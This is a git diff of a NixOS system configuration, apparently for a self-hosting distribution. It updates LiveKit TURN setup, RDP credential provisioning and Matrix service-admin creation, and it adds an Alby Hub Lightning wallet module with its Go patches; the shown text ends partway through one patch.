# * detects the primary network interface from the IPv4 default route so
|
||||
# LiveKit only advertises real ICE candidates — not VPN/container/private
|
||||
# addresses from interfaces like Tailscale or Docker bridges
|
||||
# * writes a complete LiveKit config (with turn.domain and interface
|
||||
# substituted) that the overridden ExecStart loads.
|
||||
systemd.services.livekit-turn-setup = {
|
||||
description = "Stage TURN cert and generate LiveKit runtime config from domain files";
|
||||
after = [ "caddy.service" "livekit-key-setup.service" ];
|
||||
before = [ "livekit.service" ];
|
||||
after = [ "livekit-key-setup.service" ];
|
||||
requiredBy = [ "livekit.service" ];
|
||||
wantedBy = [ "multi-user.target" ];
|
||||
serviceConfig = {
|
||||
@@ -106,20 +125,63 @@ EOF
|
||||
unitConfig = {
|
||||
ConditionPathExists = "/var/lib/domains/element-calling";
|
||||
};
|
||||
path = [ pkgs.coreutils ];
|
||||
path = [ pkgs.coreutils pkgs.findutils pkgs.iproute2 pkgs.gawk ];
|
||||
script = ''
|
||||
MATRIX=$(cat /var/lib/domains/matrix)
|
||||
|
||||
mkdir -p /run/livekit
|
||||
|
||||
cat > /run/livekit/runtime-config.yaml <<EOF
|
||||
# Copy Caddy's already-issued matrix cert/key into LiveKit's state dir.
|
||||
# The ACME CA hostname directory can vary, so glob for the domain dir.
|
||||
CRT=$(find /var/lib/caddy -path "*/$MATRIX/$MATRIX.crt" | head -n1)
|
||||
KEY=$(find /var/lib/caddy -path "*/$MATRIX/$MATRIX.key" | head -n1)
|
||||
cp "$CRT" /var/lib/livekit/turn.crt
|
||||
cp "$KEY" /var/lib/livekit/turn.key
|
||||
chmod 640 /var/lib/livekit/turn.crt /var/lib/livekit/turn.key
|
||||
|
||||
# Detect the primary network interface from the IPv4 default route.
|
||||
# Restricting LiveKit to this single interface prevents it from
|
||||
# advertising VPN/container/private ICE candidates (e.g. Tailscale,
|
||||
# Docker bridges) that remote peers cannot reach, which causes all
|
||||
# ICE negotiation attempts to fail with responsesReceived: 0.
|
||||
IFACE=$(ip -4 route show default | awk '/^default/ { for(i=1;i<=NF;i++) if($i=="dev" && (i+1)<=NF) { print $(i+1); exit } }')
|
||||
if [ -z "$IFACE" ]; then
|
||||
echo "ERROR: Could not detect a default-route network interface from 'ip -4 route show default'." >&2
|
||||
echo "ERROR: Cannot generate a valid LiveKit config without a real interface to bind ICE candidates to." >&2
|
||||
echo "ERROR: Ensure a default IPv4 route is configured, e.g.: ip route add default via <gateway> dev <interface>" >&2
|
||||
echo "ERROR: Inspect the current routing table with: ip -4 route show" >&2
|
||||
exit 1
|
||||
fi
|
||||
echo "Detected primary network interface: $IFACE"
|
||||
|
||||
# Generate the full LiveKit config the daemon will load. turn.domain and
|
||||
# rtc.interfaces.includes are only known at runtime, so they are
|
||||
# substituted here. The cert/key paths point at the LoadCredential-staged
|
||||
# copies under /run/credentials.
|
||||
cat > /run/livekit/livekit.yaml <<EOF
|
||||
port: 7880
|
||||
rtc:
|
||||
use_external_ip: true
|
||||
skip_external_ip_validation: true
|
||||
tcp_port: 7881
|
||||
udp_port: 7882
|
||||
port_range_start: 30000
|
||||
port_range_end: 40000
|
||||
interfaces:
|
||||
includes:
|
||||
- $IFACE
|
||||
room:
|
||||
auto_create: false
|
||||
turn:
|
||||
enabled: true
|
||||
domain: $MATRIX
|
||||
cert_file: /var/lib/livekit/$MATRIX.crt
|
||||
key_file: /var/lib/livekit/$MATRIX.key
|
||||
tls_port: 5349
|
||||
udp_port: 3478
|
||||
cert_file: /run/credentials/livekit.service/turn-cert
|
||||
key_file: /run/credentials/livekit.service/turn-key
|
||||
EOF
|
||||
|
||||
chmod 640 /run/livekit/runtime-config.yaml
|
||||
chmod 644 /run/livekit/livekit.yaml
|
||||
'';
|
||||
};
|
||||
|
||||
@@ -130,7 +192,11 @@ EOF
|
||||
keyFile = livekitKeyFile;
|
||||
settings = {
|
||||
rtc.use_external_ip = true;
|
||||
rtc.skip_external_ip_validation = true;
|
||||
rtc.tcp_port = 7881;
|
||||
rtc.udp_port = 7882;
|
||||
rtc.port_range_start = 30000;
|
||||
rtc.port_range_end = 40000;
|
||||
room.auto_create = false;
|
||||
turn = {
|
||||
enabled = true;
|
||||
@@ -140,15 +206,29 @@ EOF
|
||||
};
|
||||
};
|
||||
|
||||
# Override ExecStart to load the runtime-generated config (which carries the
|
||||
# runtime-only turn.domain), mirroring the Caddy ExecStart override pattern in
|
||||
# modules/core/caddy.nix. Deliver the TURN cert/key via LoadCredential so they
|
||||
# are readable under the upstream unit's DynamicUser=true sandbox without
|
||||
# weakening it. Everything else about the standard unit is left intact.
|
||||
systemd.services.livekit.serviceConfig.ExecStart = lib.mkForce [
|
||||
""
|
||||
"${pkgs.livekit}/bin/livekit-server --config /run/credentials/livekit.service/livekit-config --key-file /run/credentials/livekit.service/livekit-secrets"
|
||||
];
|
||||
|
||||
systemd.services.livekit.serviceConfig.LoadCredential = [
|
||||
"livekit-config:/run/livekit/livekit.yaml"
|
||||
"livekit-secrets:${livekitKeyFile}"
|
||||
"turn-cert:/var/lib/livekit/turn.crt"
|
||||
"turn-key:/var/lib/livekit/turn.key"
|
||||
];
|
||||
|
||||
networking.firewall.allowedTCPPorts = [ 5349 7881 ];
|
||||
networking.firewall.allowedUDPPorts = [ 3478 7882 ];
|
||||
networking.firewall.allowedUDPPortRanges = [
|
||||
{ from = 30000; to = 40000; }
|
||||
{ from = 30000; to = 40000; } # LiveKit internal TURN relay range
|
||||
];
|
||||
networking.firewall.allowedTCPPortRanges = [
|
||||
{ from = 30000; to = 40000; }
|
||||
];
|
||||
|
||||
|
||||
####### JWT SERVICE RUNTIME CONFIG #######
|
||||
systemd.services.lk-jwt-service-runtime-config = {
|
||||
description = "Generate lk-jwt-service runtime config from domain files";
|
||||
@@ -166,11 +246,13 @@ EOF
|
||||
path = [ pkgs.coreutils ];
|
||||
script = ''
|
||||
ELEMENT_CALLING=$(cat /var/lib/domains/element-calling)
|
||||
MATRIX=$(cat /var/lib/domains/matrix)
|
||||
|
||||
mkdir -p /run/lk-jwt-service
|
||||
|
||||
cat > /run/lk-jwt-service/env <<EOF
|
||||
LIVEKIT_URL=wss://$ELEMENT_CALLING
|
||||
LIVEKIT_FULL_ACCESS_HOMESERVERS=$MATRIX
|
||||
EOF
|
||||
|
||||
chmod 640 /run/lk-jwt-service/env
|
||||
|
||||
@@ -16,6 +16,7 @@
|
||||
./core/remote-deploy.nix
|
||||
./core/no-sleep.nix
|
||||
./core/cpu-performance.nix
|
||||
./core/local-domain-loopback.nix
|
||||
|
||||
# ── Always on (no flag) ───────────────────────────────────
|
||||
./php.nix
|
||||
@@ -31,6 +32,7 @@
|
||||
|
||||
# ── Features (default OFF — enable in custom.nix) ─────────
|
||||
./haven.nix
|
||||
./nwc-wallets.nix
|
||||
./element-calling.nix
|
||||
./mempool.nix
|
||||
./bitcoin-core.nix
|
||||
|
||||
@@ -0,0 +1,182 @@
|
||||
{ config, pkgs, lib, ... }:
|
||||
|
||||
let
|
||||
albyHubPort = 18080;
|
||||
albyHubApiBase = "http://127.0.0.1:${toString albyHubPort}";
|
||||
patchedAlbyHub = pkgs.albyhub.overrideAttrs (old: {
|
||||
patches = (old.patches or []) ++ [
|
||||
../packages/albyhub/0001-private-route-hints.patch
|
||||
../packages/albyhub/0002-isolated-invoice-app-id.patch
|
||||
../packages/albyhub/0003-loopback-bind-host.patch
|
||||
];
|
||||
});
|
||||
|
||||
lndRpcAddress = lib.attrByPath [ "services" "lnd" "rpcAddress" ] "127.0.0.1" config;
|
||||
lndRpcPort = toString (lib.attrByPath [ "services" "lnd" "rpcPort" ] 10009 config);
|
||||
lndCertPath = config.services.lnd.certPath;
|
||||
pythonManagerEnvironment = {
|
||||
NWC_ALBY_HUB_API_BASE = albyHubApiBase;
|
||||
NWC_LND_ADDRESS = "${lndRpcAddress}:${lndRpcPort}";
|
||||
NWC_LND_CERT_FILE = lndCertPath;
|
||||
NWC_LND_MACAROON_FILE = "/run/lnd/albyhub.macaroon";
|
||||
NWC_RELAY =
|
||||
if config.sovran_systemsOS.features.haven
|
||||
then "wss://haven.${config.networking.domain}/nostr"
|
||||
else "wss://relay.getalby.com,wss://relay2.getalby.com";
|
||||
};
|
||||
wrappedNwcWallet = lib.hiPrio (pkgs.writeShellScriptBin "nwc-wallet" ''
|
||||
export NWC_ALBY_HUB_API_BASE='${pythonManagerEnvironment.NWC_ALBY_HUB_API_BASE}'
|
||||
export NWC_LND_ADDRESS='${pythonManagerEnvironment.NWC_LND_ADDRESS}'
|
||||
export NWC_LND_CERT_FILE='${pythonManagerEnvironment.NWC_LND_CERT_FILE}'
|
||||
export NWC_LND_MACAROON_FILE='${pythonManagerEnvironment.NWC_LND_MACAROON_FILE}'
|
||||
export NWC_RELAY='${pythonManagerEnvironment.NWC_RELAY}'
|
||||
exec ${config.services.sovranHub.webPackage}/bin/nwc-wallet "$@"
|
||||
'');
|
||||
|
||||
albyhubWrapper = pkgs.writeShellScript "albyhub-wrapper" ''
|
||||
set -euo pipefail
|
||||
password_file="/var/lib/albyhub/unlock-password"
|
||||
if [ ! -s "$password_file" ]; then
|
||||
umask 077
|
||||
${pkgs.openssl}/bin/openssl rand -hex 32 > "$password_file"
|
||||
fi
|
||||
export AUTO_UNLOCK_PASSWORD="$(cat "$password_file")"
|
||||
exec ${lib.getExe patchedAlbyHub}
|
||||
'';
|
||||
in
|
||||
lib.mkIf config.sovran_systemsOS.features."nwc-wallets" {
|
||||
assertions = [
|
||||
{
|
||||
assertion = config.services.lnd.enable;
|
||||
message = "Lightning Wallet Connections requires services.lnd.enable = true.";
|
||||
}
|
||||
{
|
||||
assertion = !(lib.attrByPath [ "nix-bitcoin" "netns-isolation" "enable" ] false config);
|
||||
message = "Lightning Wallet Connections requires nix-bitcoin.netns-isolation.enable = false.";
|
||||
}
|
||||
{
|
||||
assertion = albyHubPort != config.services.lnd.restPort;
|
||||
message = "Alby Hub and LND REST must use different ports.";
|
||||
}
|
||||
{
|
||||
assertion = albyHubPort != 8181;
|
||||
message = "Alby Hub and the public LNURL service must use different ports.";
|
||||
}
|
||||
{
|
||||
assertion = !(lib.elem albyHubPort config.networking.firewall.allowedTCPPorts);
|
||||
message = "Alby Hub management port must not be opened on the public TCP firewall.";
|
||||
}
|
||||
];
|
||||
|
||||
users.groups.albyhub = { };
|
||||
users.users.albyhub = {
|
||||
isSystemUser = true;
|
||||
group = "albyhub";
|
||||
home = "/var/lib/albyhub";
|
||||
createHome = false;
|
||||
extraGroups = [ ];
|
||||
};
|
||||
|
||||
systemd.tmpfiles.rules = [
|
||||
"d /var/lib/albyhub 0700 albyhub albyhub -"
|
||||
];
|
||||
|
||||
services.lnd.macaroons.albyhub = {
|
||||
user = "albyhub";
|
||||
permissions = lib.concatStringsSep "," [
|
||||
''{"entity":"info","action":"read"}''
|
||||
''{"entity":"offchain","action":"read"}''
|
||||
''{"entity":"offchain","action":"write"}''
|
||||
''{"entity":"invoices","action":"read"}''
|
||||
''{"entity":"invoices","action":"write"}''
|
||||
''{"entity":"onchain","action":"read"}''
|
||||
''{"entity":"address","action":"read"}''
|
||||
''{"entity":"message","action":"read"}''
|
||||
''{"entity":"message","action":"write"}''
|
||||
];
|
||||
};
|
||||
|
||||
systemd.services.albyhub = {
|
||||
description = "Alby Hub — NWC wallet server";
|
||||
wantedBy = [ "multi-user.target" ];
|
||||
after = [ "network.target" "lnd.service" ];
|
||||
requires = [ "lnd.service" ];
|
||||
|
||||
environment = {
|
||||
HOME = "/var/lib/albyhub";
|
||||
HOST = "127.0.0.1";
|
||||
LN_BACKEND_TYPE = "LND";
|
||||
ENABLE_ADVANCED_SETUP = "false";
|
||||
LND_ADDRESS = "${lndRpcAddress}:${lndRpcPort}";
|
||||
LND_CERT_FILE = lndCertPath;
|
||||
LND_MACAROON_FILE = "/run/lnd/albyhub.macaroon";
|
||||
WORK_DIR = "/var/lib/albyhub";
|
||||
DATABASE_URI = "/var/lib/albyhub/nwc.db";
|
||||
PORT = toString albyHubPort;
|
||||
# Use private Nostr relay if Haven is enabled, otherwise default to Alby's public relays
|
||||
RELAY =
|
||||
if config.sovran_systemsOS.features.haven
|
||||
then "wss://haven.${config.networking.domain}/nostr"
|
||||
else "wss://relay.getalby.com,wss://relay2.getalby.com";
|
||||
AUTO_LINK_ALBY_ACCOUNT = "false";
|
||||
SEND_EVENTS_TO_ALBY = "false";
|
||||
LOG_TO_FILE = "false";
|
||||
HIDE_UPDATE_BANNER = "true";
|
||||
};
|
||||
|
||||
serviceConfig = {
|
||||
Type = "simple";
|
||||
User = "albyhub";
|
||||
Group = "albyhub";
|
||||
WorkingDirectory = "/var/lib/albyhub";
|
||||
ExecStart = albyhubWrapper;
|
||||
Restart = "on-failure";
|
||||
RestartSec = "10s";
|
||||
UMask = "0077";
|
||||
NoNewPrivileges = true;
|
||||
PrivateTmp = true;
|
||||
ProtectHome = true;
|
||||
ProtectSystem = "strict";
|
||||
ReadWritePaths = [ "/var/lib/albyhub" ];
|
||||
ReadOnlyPaths = [ lndCertPath "/run/lnd" ];
|
||||
};
|
||||
};
|
||||
|
||||
systemd.services.nwc-lnurl = {
|
||||
description = "Lightning Wallet Connections public LNURL service";
|
||||
wantedBy = [ "multi-user.target" ];
|
||||
after = [ "albyhub.service" "sovran-hub-web.service" ];
|
||||
wants = [ "albyhub.service" ];
|
||||
environment = pythonManagerEnvironment;
|
||||
|
||||
serviceConfig = {
|
||||
Type = "simple";
|
||||
User = "albyhub";
|
||||
Group = "albyhub";
|
||||
ExecStart = "${config.services.sovranHub.webPackage}/bin/nwc-lnurl";
|
||||
Restart = "on-failure";
|
||||
RestartSec = "10s";
|
||||
UMask = "0027";
|
||||
NoNewPrivileges = true;
|
||||
PrivateTmp = true;
|
||||
ProtectHome = true;
|
||||
ProtectSystem = "strict";
|
||||
ReadOnlyPaths = [
|
||||
"/var/lib/domains/lightning"
|
||||
"/var/lib/albyhub/unlock-password"
|
||||
];
|
||||
};
|
||||
};
|
||||
|
||||
systemd.services.sovran-hub-web.environment = pythonManagerEnvironment;
|
||||
environment.systemPackages = lib.mkBefore [ wrappedNwcWallet ];
|
||||
|
||||
sovran_systemsOS.domainRequirements = [
|
||||
{
|
||||
name = "lightning";
|
||||
label = "Lightning Address Domain";
|
||||
example = "pay.yourdomain.com";
|
||||
needsDDNS = true;
|
||||
}
|
||||
];
|
||||
}
|
||||
Executable → Regular
+121
-56
@@ -2,70 +2,104 @@
|
||||
|
||||
lib.mkIf config.sovran_systemsOS.features.rdp {
|
||||
|
||||
users.users.gnome-remote-desktop = {
|
||||
isSystemUser = true;
|
||||
group = "gnome-remote-desktop";
|
||||
home = "/var/lib/gnome-remote-desktop";
|
||||
createHome = true;
|
||||
};
|
||||
users.groups.gnome-remote-desktop = {};
|
||||
|
||||
# Enable the GNOME Remote Desktop service at the system level
|
||||
services.gnome.gnome-remote-desktop.enable = true;
|
||||
|
||||
# Open RDP port in the firewall
|
||||
networking.firewall.allowedTCPPorts = [ 3389 ];
|
||||
|
||||
# Ensure the service actually starts and waits for setup to complete
|
||||
# Ensure the service only starts after setup succeeds
|
||||
systemd.services.gnome-remote-desktop = {
|
||||
wantedBy = [ "graphical.target" ];
|
||||
after = [ "gnome-remote-desktop-setup.service" ];
|
||||
wants = [ "gnome-remote-desktop-setup.service" ];
|
||||
requires = [ "gnome-remote-desktop-setup.service" ];
|
||||
};
|
||||
|
||||
systemd.tmpfiles.rules = [
|
||||
"d /var/lib/gnome-remote-desktop 0750 gnome-remote-desktop gnome-remote-desktop -"
|
||||
"d /var/lib/gnome-remote-desktop/.local 0750 gnome-remote-desktop gnome-remote-desktop -"
|
||||
"d /var/lib/gnome-remote-desktop/.local/share 0750 gnome-remote-desktop gnome-remote-desktop -"
|
||||
"d /var/lib/gnome-remote-desktop/.local/share/gnome-remote-desktop 0750 gnome-remote-desktop gnome-remote-desktop -"
|
||||
"d /var/lib/gnome-remote-desktop/.local 0700 gnome-remote-desktop gnome-remote-desktop -"
|
||||
"d /var/lib/gnome-remote-desktop/.local/share 0700 gnome-remote-desktop gnome-remote-desktop -"
|
||||
"d /var/lib/gnome-remote-desktop/.local/share/gnome-remote-desktop 0700 gnome-remote-desktop gnome-remote-desktop -"
|
||||
"d /var/lib/gnome-remote-desktop/tls 0700 gnome-remote-desktop gnome-remote-desktop -"
|
||||
];
|
||||
|
||||
systemd.services.gnome-remote-desktop-setup = {
|
||||
description = "Configure GNOME Remote Desktop RDP";
|
||||
wantedBy = [ "multi-user.target" ];
|
||||
wantedBy = [ "graphical.target" ];
|
||||
before = [ "gnome-remote-desktop.service" ];
|
||||
after = [ "systemd-tmpfiles-setup.service" "network-online.target" ];
|
||||
wants = [ "network-online.target" ];
|
||||
after = [
|
||||
"dbus.service"
|
||||
"systemd-tmpfiles-setup.service"
|
||||
"network-online.target"
|
||||
"gnome-remote-desktop-configuration.service"
|
||||
];
|
||||
wants = [
|
||||
"network-online.target"
|
||||
"gnome-remote-desktop-configuration.service"
|
||||
];
|
||||
serviceConfig = {
|
||||
Type = "oneshot";
|
||||
RemainAfterExit = true;
|
||||
TimeoutStartSec = "2min";
|
||||
};
|
||||
path = [
|
||||
pkgs.gnome-remote-desktop
|
||||
pkgs.polkit
|
||||
pkgs.openssl
|
||||
pkgs.hostname
|
||||
pkgs.coreutils
|
||||
pkgs.gawk
|
||||
pkgs.gnome-remote-desktop
|
||||
pkgs.hostname
|
||||
pkgs.openssl
|
||||
pkgs.systemd
|
||||
];
|
||||
script = ''
|
||||
# Ensure directory structure exists
|
||||
mkdir -p /var/lib/gnome-remote-desktop/.local/share/gnome-remote-desktop
|
||||
chown -R gnome-remote-desktop:gnome-remote-desktop /var/lib/gnome-remote-desktop
|
||||
set -euo pipefail
|
||||
|
||||
TLS_DIR="/var/lib/gnome-remote-desktop/tls"
|
||||
CRED_FILE="/var/lib/gnome-remote-desktop/rdp-credentials"
|
||||
# GRD 50.x invokes pkexec internally for every grdctl --system call, even
|
||||
# when the caller is root. NixOS exposes the required setuid wrapper at
|
||||
# /run/wrappers/bin/pkexec; the Nix-store polkit binary is not setuid and
|
||||
# must not shadow it. Prepend the wrapper directory so every subsequent
|
||||
# grdctl --system resolves the correct binary.
|
||||
export PATH="/run/wrappers/bin:$PATH"
|
||||
|
||||
STATE_DIR="/var/lib/gnome-remote-desktop"
|
||||
TLS_DIR="$STATE_DIR/tls"
|
||||
USERNAME_FILE="$STATE_DIR/rdp-username"
|
||||
PASSWORD_FILE="$STATE_DIR/rdp-password"
|
||||
CRED_FILE="$STATE_DIR/rdp-credentials"
|
||||
DEFAULT_USERNAME="sovran"
|
||||
|
||||
grdctl_system() {
|
||||
local rc=0
|
||||
|
||||
if timeout --kill-after=5s 10s \
|
||||
grdctl --system "$@"; then
|
||||
return 0
|
||||
else
|
||||
rc=$?
|
||||
fi
|
||||
|
||||
if [ "$rc" -eq 124 ] || [ "$rc" -eq 137 ]; then
|
||||
echo "grdctl command timed out: $*" >&2
|
||||
fi
|
||||
echo "grdctl command failed (exit $rc): $*" >&2
|
||||
|
||||
return "$rc"
|
||||
}
|
||||
|
||||
mkdir -p "$STATE_DIR/.local/share/gnome-remote-desktop" "$TLS_DIR"
|
||||
chown -R gnome-remote-desktop:gnome-remote-desktop "$STATE_DIR"
|
||||
chmod 700 \
|
||||
"$STATE_DIR" \
|
||||
"$STATE_DIR/.local" \
|
||||
"$STATE_DIR/.local/share" \
|
||||
"$STATE_DIR/.local/share/gnome-remote-desktop" \
|
||||
"$TLS_DIR"
|
||||
|
||||
# Regenerate TLS certificate if missing OR if ownership is wrong
|
||||
# (disable/re-enable cycle can break ownership or grdctl state)
|
||||
NEED_REGEN=0
|
||||
if [ ! -f "$TLS_DIR/rdp-tls.crt" ] || [ ! -f "$TLS_DIR/rdp-tls.key" ]; then
|
||||
NEED_REGEN=1
|
||||
elif [ "$(stat -c '%U' "$TLS_DIR/rdp-tls.key" 2>/dev/null)" != "gnome-remote-desktop" ]; then
|
||||
elif [ "$(stat -c '%U:%G' "$TLS_DIR/rdp-tls.key" 2>/dev/null)" != "gnome-remote-desktop:gnome-remote-desktop" ]; then
|
||||
NEED_REGEN=1
|
||||
fi
|
||||
|
||||
if [ "$NEED_REGEN" = "1" ]; then
|
||||
mkdir -p "$TLS_DIR"
|
||||
rm -f "$TLS_DIR/rdp-tls.key" "$TLS_DIR/rdp-tls.crt"
|
||||
openssl req -x509 -newkey ec -pkeyopt ec_paramgen_curve:prime256v1 \
|
||||
-sha256 -nodes -days 3650 \
|
||||
@@ -75,39 +109,59 @@ lib.mkIf config.sovran_systemsOS.features.rdp {
|
||||
echo "Generated new RDP TLS certificate"
|
||||
fi
|
||||
|
||||
# Always fix ownership and permissions (handles re-enable after disable)
|
||||
chown -R gnome-remote-desktop:gnome-remote-desktop "$TLS_DIR"
|
||||
chown gnome-remote-desktop:gnome-remote-desktop "$TLS_DIR/rdp-tls.key" "$TLS_DIR/rdp-tls.crt"
|
||||
chmod 600 "$TLS_DIR/rdp-tls.key"
|
||||
chmod 644 "$TLS_DIR/rdp-tls.crt"
|
||||
|
||||
# Configure TLS certificate
|
||||
grdctl --system rdp set-tls-cert "$TLS_DIR/rdp-tls.crt"
|
||||
grdctl --system rdp set-tls-key "$TLS_DIR/rdp-tls.key"
|
||||
if [ ! -f "$USERNAME_FILE" ]; then
|
||||
printf '%s\n' "$DEFAULT_USERNAME" > "$USERNAME_FILE"
|
||||
fi
|
||||
USERNAME="$(tr -d '\n' < "$USERNAME_FILE")"
|
||||
if [ -z "$USERNAME" ]; then
|
||||
USERNAME="$DEFAULT_USERNAME"
|
||||
printf '%s\n' "$USERNAME" > "$USERNAME_FILE"
|
||||
fi
|
||||
if [ "''${#USERNAME}" -gt 32 ]; then
|
||||
echo "RDP username is too long (''${#USERNAME} characters, maximum 32): $USERNAME from $USERNAME_FILE" >&2
|
||||
exit 1
|
||||
fi
|
||||
case "$USERNAME" in
|
||||
[A-Za-z_][A-Za-z0-9_-]*)
|
||||
;;
|
||||
*)
|
||||
echo "RDP username must start with a letter or underscore and contain only letters, numbers, underscores, and hyphens: $USERNAME from $USERNAME_FILE" >&2
|
||||
exit 1
|
||||
;;
|
||||
esac
|
||||
chown gnome-remote-desktop:gnome-remote-desktop "$USERNAME_FILE"
|
||||
chmod 600 "$USERNAME_FILE"
|
||||
|
||||
# Generate password on first boot only
|
||||
PASSWORD=""
|
||||
if [ ! -f /var/lib/gnome-remote-desktop/rdp-password ]; then
|
||||
PASSWORD=$(openssl rand -base64 16)
|
||||
echo "$PASSWORD" > /var/lib/gnome-remote-desktop/rdp-password
|
||||
chmod 600 /var/lib/gnome-remote-desktop/rdp-password
|
||||
else
|
||||
PASSWORD=$(cat /var/lib/gnome-remote-desktop/rdp-password)
|
||||
if [ ! -f "$PASSWORD_FILE" ]; then
|
||||
openssl rand -base64 16 > "$PASSWORD_FILE"
|
||||
fi
|
||||
PASSWORD="$(tr -d '\n' < "$PASSWORD_FILE")"
|
||||
if [ -z "$PASSWORD" ]; then
|
||||
echo "RDP password file is empty: $PASSWORD_FILE" >&2
|
||||
exit 1
|
||||
fi
|
||||
if [ "''${#PASSWORD}" -lt 8 ]; then
|
||||
echo "RDP password is too short (''${#PASSWORD} characters, minimum 8): $PASSWORD_FILE" >&2
|
||||
exit 1
|
||||
fi
|
||||
chown gnome-remote-desktop:gnome-remote-desktop "$PASSWORD_FILE"
|
||||
chmod 600 "$PASSWORD_FILE"
|
||||
|
||||
LOCAL_IP="$(hostname -I | awk '{print $1}')"
|
||||
if [ -z "$LOCAL_IP" ]; then
|
||||
LOCAL_IP="127.0.0.1"
|
||||
fi
|
||||
|
||||
# Write username to a separate file for the hub
|
||||
echo "sovran" > /var/lib/gnome-remote-desktop/rdp-username
|
||||
chmod 600 /var/lib/gnome-remote-desktop/rdp-username
|
||||
|
||||
# Get current IP address
|
||||
LOCAL_IP=$(hostname -I | awk '{print $1}')
|
||||
|
||||
# Always rewrite the credentials file with the current IP
|
||||
cat > "$CRED_FILE" <<EOF
|
||||
========================================
|
||||
GNOME Remote Desktop (RDP) Credentials
|
||||
========================================
|
||||
|
||||
Username: sovran
|
||||
Username: $USERNAME
|
||||
Password: $PASSWORD
|
||||
|
||||
Connect from any RDP client to:
|
||||
@@ -116,11 +170,22 @@ lib.mkIf config.sovran_systemsOS.features.rdp {
|
||||
========================================
|
||||
EOF
|
||||
|
||||
chown gnome-remote-desktop:gnome-remote-desktop "$CRED_FILE"
|
||||
chmod 600 "$CRED_FILE"
|
||||
|
||||
# Enable RDP backend and set credentials
|
||||
grdctl --system rdp enable
|
||||
grdctl --system rdp set-credentials sovran "$PASSWORD"
|
||||
# Preflight: the NixOS setuid pkexec wrapper must be present and executable
|
||||
# before any grdctl --system call. Absence means the system was booted
|
||||
# without security.wrappers or the wrapper directory is not mounted yet.
|
||||
if ! test -x /run/wrappers/bin/pkexec; then
|
||||
echo "Preflight check failed: /run/wrappers/bin/pkexec is absent or not executable." >&2
|
||||
echo "GNOME Remote Desktop system configuration requires the NixOS setuid pkexec wrapper at /run/wrappers/bin/pkexec." >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
grdctl_system rdp enable
|
||||
grdctl_system rdp set-tls-cert "$TLS_DIR/rdp-tls.crt"
|
||||
grdctl_system rdp set-tls-key "$TLS_DIR/rdp-tls.key"
|
||||
grdctl_system rdp set-credentials "$USERNAME" "$PASSWORD"
|
||||
|
||||
echo "GNOME Remote Desktop RDP configured successfully"
|
||||
'';
|
||||
|
||||
+24
-3
@@ -229,6 +229,30 @@ CREDS
|
||||
chmod 600 "$CREDS_FILE"
|
||||
fi
|
||||
|
||||
# Provision a private, random Matrix administrator for the Hub's Admin
|
||||
# API calls. This is deliberately separate from the visible bootstrap
|
||||
# admin account: installations where @admin pre-dated Sovran do not have
|
||||
# its password, but Hub user management must still work. Keeping the
|
||||
# generated localpart in this root-only file makes the operation
|
||||
# idempotent without exposing this service credential in the Hub UI.
|
||||
HUB_ADMIN_CREDS="/var/lib/secrets/matrix-hub-admin"
|
||||
if [ ! -s "$HUB_ADMIN_CREDS" ]; then
|
||||
HUB_ADMIN_USER="sovran-hub-$(pwgen -sA0 20 1)"
|
||||
HUB_ADMIN_PASS=$(pwgen -s 32 1)
|
||||
if register_new_matrix_user -c /run/matrix-synapse/runtime-config.yaml \
|
||||
-u "$HUB_ADMIN_USER" -p "$HUB_ADMIN_PASS" -a http://localhost:8008; then
|
||||
(umask 077; cat > "$HUB_ADMIN_CREDS" <<CREDS
|
||||
username=$HUB_ADMIN_USER
|
||||
password=$HUB_ADMIN_PASS
|
||||
CREDS
|
||||
)
|
||||
echo "Created private Matrix Hub service administrator."
|
||||
else
|
||||
echo "Failed to create the private Matrix Hub service administrator." >&2
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
|
||||
# Always write individual credential files for the hub UI, even if the bulk
|
||||
# credentials file already existed from a prior run (umask 077 ensures mode 600).
|
||||
# If passwords were not freshly generated above, parse them from the bulk file.
|
||||
@@ -250,9 +274,6 @@ CREDS
|
||||
'';
|
||||
};
|
||||
|
||||
networking.firewall.allowedTCPPorts = [ 8448 ];
|
||||
networking.firewall.allowedUDPPorts = [ 8448 ];
|
||||
|
||||
sovran_systemsOS.domainRequirements = [
|
||||
{ name = "matrix"; label = "Matrix Synapse"; example = "matrix.yourdomain.com"; }
|
||||
];
|
||||
|
||||
@@ -0,0 +1,13 @@
|
||||
diff --git a/lnclient/lnd/lnd.go b/lnclient/lnd/lnd.go
|
||||
index bad532f..ba35b7b 100644
|
||||
--- a/lnclient/lnd/lnd.go
|
||||
+++ b/lnclient/lnd/lnd.go
|
||||
@@ -708,7 +708,7 @@ func (svc *LNDService) MakeInvoice(ctx context.Context, amountMsat int64, descri
|
||||
DescriptionHash: descriptionHashBytes,
|
||||
Expiry: expiry,
|
||||
RouteHints: hints,
|
||||
- Private: !hasPublicChannels, // use private channel hints in the invoice
|
||||
+ Private: true, // always include private channel hints in the invoice
|
||||
}
|
||||
|
||||
resp, err := svc.client.AddInvoice(ctx, addInvoiceRequest)
|
||||
@@ -0,0 +1,71 @@
|
||||
diff --git a/api/models.go b/api/models.go
|
||||
index 28bd117..dceb79a 100644
|
||||
--- a/api/models.go
|
||||
+++ b/api/models.go
|
||||
@@ -46,7 +46,7 @@ type API interface {
|
||||
ListTransactions(ctx context.Context, appId *uint, limit uint64, offset uint64) (*ListTransactionsResponse, error)
|
||||
ListOnchainTransactions(ctx context.Context) ([]OnchainTransaction, error)
|
||||
SendPayment(ctx context.Context, invoice string, amountMsat *uint64, metadata map[string]interface{}, fromAppId *uint) (*SendPaymentResponse, error)
|
||||
- CreateInvoice(ctx context.Context, amountMsat uint64, description string) (*MakeInvoiceResponse, error)
|
||||
+ CreateInvoice(ctx context.Context, amountMsat uint64, description string, appId *uint) (*MakeInvoiceResponse, error)
|
||||
LookupInvoice(ctx context.Context, paymentHash string) (*LookupInvoiceResponse, error)
|
||||
SetTransactionUserLabels(ctx context.Context, id uint, labels map[string]string) error
|
||||
RequestMempoolApi(ctx context.Context, endpoint string) (interface{}, error)
|
||||
@@ -586,6 +586,7 @@ type MakeInvoiceRequest struct {
|
||||
AmountSat *uint64 `json:"amountSat"`
|
||||
AmountMsat *uint64 `json:"amountMsat"`
|
||||
Description string `json:"description"`
|
||||
+ AppId *uint `json:"appId"`
|
||||
}
|
||||
|
||||
type ResetRouterRequest struct {
|
||||
diff --git a/api/transactions.go b/api/transactions.go
|
||||
index aaf9380..3f9850a 100644
|
||||
--- a/api/transactions.go
|
||||
+++ b/api/transactions.go
|
||||
@@ -12,12 +12,12 @@ import (
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
